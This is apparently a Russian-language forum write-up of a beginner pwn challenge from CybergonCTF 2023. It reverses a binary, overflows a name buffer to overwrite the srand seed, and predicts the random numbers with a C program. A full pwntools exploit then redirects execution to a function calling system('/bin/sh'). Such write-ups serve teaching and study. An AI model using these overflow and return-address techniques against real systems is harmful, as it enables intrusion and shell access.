CTF really random??? Чильный таск на PWN с CYBERGON CTF 2023

AFANX

Green Team
26.06.2022
23
83
BIT
73
1692551931793.png


Ку, киберрекруты. Чет давно цтфки не гамал. Зашел на днях почекать ctftime и наткнулся на какой-то CybergonCTF и заинтересовал меня там один таск на пывн. По своей сути он простой, но для новичков в бинарщине то, что надо. Поэтому данная статья именно для них.

Описание

1692551999754.png


Из описания задания, как обычно, толком никакой информации. Название может натолкнуть на мысль, что нужно будет что-то делать с рандомом

Начнем

Первым делом нужно сделать первичный анализ бинаря. К этому относится:

  1. file
  2. strings
  3. checksec
  4. поиск UPX
  5. гаджеты
Чтобы это все не прописывать в ручную, есть утилита, которая делает это все
автоматически и выводит все в одно окно - J0llyTr0llz

После клонирования репозитория и установки всех библиотек sudo ./setuptools/sh ,
можно ее запустить python3 main.py и появится такое окно:

1692552125250.png


Нажимаем сочитание клавиш Ctrl+O и открываем бинарь.

readelf сообщает, что это 64 разрядная версия и порядок байт - littleend:

1692552146179.png


file тому подтверждение

1692552160531.png


нет UPX , так же нет канарейки и отключена рандомизация адресов:

1692552176696.png


Теперь посмотрим на strings . Для этого надо нажать сочитание клавиш Ctrl+S и просмотрев можно заметить строку /bin/sh

1692552193163.png


Если в названии есть слово рандом, то скорее всего присутсвуют соответсвущие строки:

1692552215034.png


Теперь нужно поиграть с сервисом, чтобы понять его возможности.

Сначала вводим имя, потом 10 рандомных цифр

1692552238382.png


Пока ничего не понятно. Поэтому настало время реверса.

Реверс

Традиционно буду использовать IDA Pro и edb.

Первое, что бросается в глаза, так это самое начало программы:

1692552267676.png


Здесь вводим имя и есть интересные моменты с seed. Сначала генерится инструкциями:

Код:
call _rand
mov [rbp+seed], eax

После передается в srand :

Код:
mov eax, [rbp+seed]
mov edi, eax
call _srand

Не стоит расстраиваться раньше времени. Между этими двумя участками, мы вводим имя:

1692552372332.png


Теперь посмотрим на локальные переменные:

1692552385040.png


Не вооруженным глазом можно заметить, что var_80 лежит перед seed . Да, к тому же, буффер можно переполнить ибо нет контроля ввода данных. Из этого следует, что можно переписать seed и уже заранее знать, что будет рандомиться.

Участок кода далее уже не несет смысловую нагрузку, потому что он просто рандомит числа и заполняет какой-то глобальный массив интов

1692552399635.png


Далее вводим числа и тоже заполняем уже какой-то второй массив интов

1692552414565.png


Происходит сравнение элементов двух массивов и если все нормас, то выведет сообщение Correct!

1692552452555.png


Так же есть прикольная функция potato , в которой лежит вызов /bin/sh и именно к ней мы стремимся

1692552469357.png


И так. Имеем следующее: можно переполнить буффер и переписать seed , тем самым будем знать какие числа будут генериться, можно привести к произвольному управлению. Осталось написать программу на языке C, чтобы получить рандомные числа и написать сплойт.

Пишем эксплойт

Сначала прога на языке Си, которая выглядит так:

C:
#include <stdio.h>
#include <stdlib.h>
int main()
{
    srand(0x41414141);
    printf("[");
    for(int i = 0;i<10;i++){
        printf("0x%x, ", rand());
    }
    printf("]\n");
    return 0;
}

Результат выполнения такой:

Код:
[0x79ef55a0, 0x3b9717ae, 0x41c57137, 0x1b4bc588, 0x56156104, 0x1b60129e, 0x5c0023e9, 0x5c318861, 0xa9d1c92, 0x4fb8a5a3]

Однако, этого мало, потому что есть такая функция в программе под названием rc4 . Прореверсив функицию rc4 , сделал вывод, что это банальный логический сдвиг в право:

1692552546193.png


Поэтому нужно добавить еще эту функцию. Таким образом, полная программа выглядит так:

C:
#include <stdio.h>
#include <stdlib.h>

int seed = 0x41414141;

unsigned int rc4_output(int r) {
    return (unsigned int)((r + seed) % 256);
}

int main()
{
    srand(seed);
    printf("[");
    for(int i = 0;i<10;i++){
        printf("0x%x, ", rc4_output(rand()));
    }
    printf("]\n");
    return 0;
}

Результат выполнения:

Код:
[0xffffffe1, 0xef, 0xffffff78, 0xc9, 0xffffff45, 0xdf, 0xffffff2a, 0xffffffa2, 0xd3, 0xffffffe4]

Теперь настало время эксплойта.

Для добития до seed необходимо 112 каких-нибудь байтов. Сам seed будет равен 0x41414141 , что означает AAAA . Далее объявим переменную potato , в которой будет адрес победной функции и сам payload. Данный участок кода выглядит так:

Python:
junk = b'A'*112
seed = b'AAAA'
potato = p64(0x0000000004011BA)
payload = junk + seed + (b'A' * 20) + potato

Далее просто посылаем это все нашему таргету:

Python:
io.recvuntil(b'What is your name? ')
io.sendline(payload)
io.recvuntil(b'Guess my numbers!'
killRand()

Функция killRand() она банально отправляет нужные числа программе:

Код:
def killRand():
    rand = [0x00000000FFFFFFE1, 0x00000000000000EF, 0x00000000FFFFFF78, 0x00000000000000C9,
    0x00000000FFFFFF45,0x00000000000000DF,0x00000000FFFFFF2A, 0x00000000FFFFFFA2,
    0x00000000000000D3,0x00000000FFFFFFE4]
    for i in rand:   
        tmp = str(i)
        io.sendline(tmp.encode())

Полный сплойт выглядит так:

Python:
from pwn import *

exe = context.binary = ELF('./random')

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.EDB:
        return process(['edb', '--run', exe.path] + argv, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

def killRand():
    rand = [0x00000000FFFFFFE1, 0x00000000000000EF, 0x00000000FFFFFF78, 0x00000000000000C9, 0x00000000FFFFFF45,0x00000000000000DF,0x00000000FFFFFF2A, 0x00000000FFFFFFA2, 0x00000000000000D3,0x00000000FFFFFFE4]
    for i in rand:
        tmp = str(i)
        io.sendline(tmp.encode())

io = start()

junk = b'A'*112
seed = b'AAAA'
potato = p64(0x0000000004011BA)
payload = junk + seed + (b'A' * 20) + potato

io.recvuntil(b'What is your name? ')
io.sendline(payload)
io.recvuntil(b'Guess my numbers!')
killRand()

io.interactive()

Проверим работу этого всего дела. Для этого в EDB , поставлю точку останова сразу же в конце выполнения программы, то есть сюда

1692552818334.png


Если все сработало, то во первых будет сообщение Correct! , во вторых попаду в нужную функцию.

Дошел до этого места, значит полет нормальный

1692552847297.png


Теперь дохожу до инструкции ret и попаду в potato

1692552857186.png


Собственно чтд, вызовется функция system('/bin/sh')

1692552871784.png


1692552878750.png


Теперь попробую запустить на сервере и получу RCE:

1692552889296.png
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!